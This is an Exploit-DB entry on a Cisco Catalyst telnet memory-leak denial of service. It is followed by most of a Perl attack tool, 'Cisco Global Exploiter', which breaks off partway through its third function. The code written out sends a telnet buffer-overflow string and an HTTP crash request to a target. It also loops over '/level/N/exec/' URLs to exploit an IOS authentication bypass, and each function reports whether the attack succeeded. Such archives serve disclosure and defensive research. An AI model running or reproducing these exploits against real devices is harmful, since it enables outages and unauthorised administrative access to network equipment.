Exploit-DB #20473
Description: Cisco Catalyst 4000 4.x/5.x / Catalyst 5000 4.5/5.x / Catalyst 6000 5.x - Memory Leak Denial of Service
Type: dos
Platform: hardware
Date: 2000-12-06
Author: blackangels

Exploit:
source: https://www.securityfocus.com/bid/2072/info

Cisco Catalyst is a high speed switch implemented in local area networks.

The telnet server that is built into the Catalyst firmware for remote administration contains a memory leak vulnerability that can result in a denial of service. Each time that the telnet service started, memory resources are used without being freed afterwards. As a result, memory can be depleted by connecting multiple clients to the Catalyst telnet server leaving the device unable to function properly.

This can lead to a denial of service of network services dependent on the Catalyst until the device is manually reset. 

#!/usr/bin/perl

##
# Cisco Global Exploiter
#
# Legal notes :
# The BlackAngels staff refuse all responsabilities
# for an incorrect or illegal use of this software
# or for eventual damages to others systems.
#
# http://www.blackangels.it
##



##
# Modules
##

use Socket;
use IO::Socket;


##
# Main
##

$host = "";
$expvuln = "";
$host = @ARGV[ 0 ];
$expvuln = @ARGV[ 1 ];

if ($host eq "") {
usage();
}
if ($expvuln eq "") {
usage();
}
if ($expvuln eq "1") {
cisco1();
}
elsif ($expvuln eq "2") {
cisco2();
}
elsif ($expvuln eq "3") {
cisco3();
}
elsif ($expvuln eq "4") {
cisco4();
}
elsif ($expvuln eq "5") {
cisco5();
}
elsif ($expvuln eq "6") {
cisco6();
}
elsif ($expvuln eq "7") {
cisco7();
}
elsif ($expvuln eq "8") {
cisco8();
}
elsif ($expvuln eq "9") {
cisco9();
}
elsif ($expvuln eq "10") {
cisco10();
}
elsif ($expvuln eq "11") {
cisco11();
}
elsif ($expvuln eq "12") {
cisco12();
}
elsif ($expvuln eq "13") {
cisco13();
}
elsif ($expvuln eq "14") {
cisco14();
}
else {
printf "\nInvalid vulnerability number ...\n\n";
exit(1);
}


##
# Functions
##

sub usage
{
  printf "\nUsage :\n";
  printf "perl cge.pl <target> <vulnerability number>\n\n";
  printf "Vulnerabilities list :\n";
  printf "[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability\n";
  printf "[2] - Cisco IOS Router Denial of Service Vulnerability\n";
  printf "[3] - Cisco IOS HTTP Auth Vulnerability\n";
  printf "[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability\n";
  printf "[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability\n";
  printf "[6] - Cisco 675 Web Administration Denial of Service Vulnerability\n";
  printf "[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability\n";
  printf "[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability\n";
  printf "[9] - Cisco 514 UDP Flood Denial of Service Vulnerability\n";
  printf "[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability\n";
  printf "[11] - Cisco Catalyst Memory Leak Vulnerability\n";
  printf "[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability\n";
  printf "[13] - %u Encoding IDS Bypass Vulnerability (UTF)\n";
  printf "[14] - Cisco IOS HTTP Denial of Service Vulnerability\n";
  exit(1);
}

sub cisco1 # Cisco 677/678 Telnet Buffer Overflow Vulnerability
{
  my $serv = $host;
  my $dch = "?????????????????a~ %%%%%XX%%%%%";
  my $num = 30000;
  my $string .= $dch x $num;
  my $shc="\015\012";

  my $sockd = IO::Socket::INET->new (
                                     Proto => "tcp",
                                     PeerAddr => $serv,
                                     PeerPort => "(23)",
                                     ) || die("No telnet server detected on $serv ...\n\n");

  $sockd->autoflush(1);
  print $sockd "$string". $shc;
  while (<$sockd>){ print }
  print("\nPacket sent ...\n");
  sleep(1);
  print("Now checking server's status ...\n");
  sleep(2);

  my $sockd2 = IO::Socket::INET->new (
                                      Proto => "tcp",
                                      PeerAddr => $serv,
                                      PeerPort => "(23)",
                                      ) || die("Vulnerability successful exploited. Target server is down ...\n\n");

  print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
  close($sockd2);
  exit(1);
}

sub cisco2 # Cisco IOS Router Denial of Service Vulnerability
{
  my $serv = $host;

  my $sockd = IO::Socket::INET->new (
                                     Proto=>"tcp",
                                     PeerAddr=>$serv,
                                     PeerPort=>"http(80)",);
                                     unless ($sockd){die "No http server detected on $serv ...\n\n"};
  $sockd->autoflush(1);
  print $sockd "GET /\%\% HTTP/1.0\n\n";
  -close $sockd;
  print "Packet sent ...\n";
  sleep(1);
  print("Now checking server's status ...\n");
  sleep(2);

  my $sockd2 = IO::Socket::INET->new (
                                      Proto=>"tcp",
                                      PeerAddr=>$serv,
                                      PeerPort=>"http(80)",);
                                      unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};

  print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
  close($sockd2);
  exit(1);
}

sub cisco3 # Cisco IOS HTTP Auth Vulnerability
{
  my $serv= $host;
  my $n=16;
  my $port=80;
  my $target = inet_aton($serv);
  my $fg = 0;

  LAB: while ($n<100) {
  my @results=exploit("GET /level/".$n."/exec/- HTTP/1.0\r\n\r\n");
  $n++;
  foreach $line (@results){
          $line=~ tr/A-Z/a-z/;
          if ($line =~ /http\/1\.0 401 unauthorized/) {$fg=1;}
          if ($line =~ /http\/1\.0 200 ok/) {$fg=0;}
  }

  if ($fg==1) {
               sleep(2);
               print "Vulnerability unsuccessful exploited ...\n\n";
              }
  else {
        sleep(2);
        print "\nVulnerability successful exploited with [http://$serv/level/$n/exec/....] ...\n\n";
        last LAB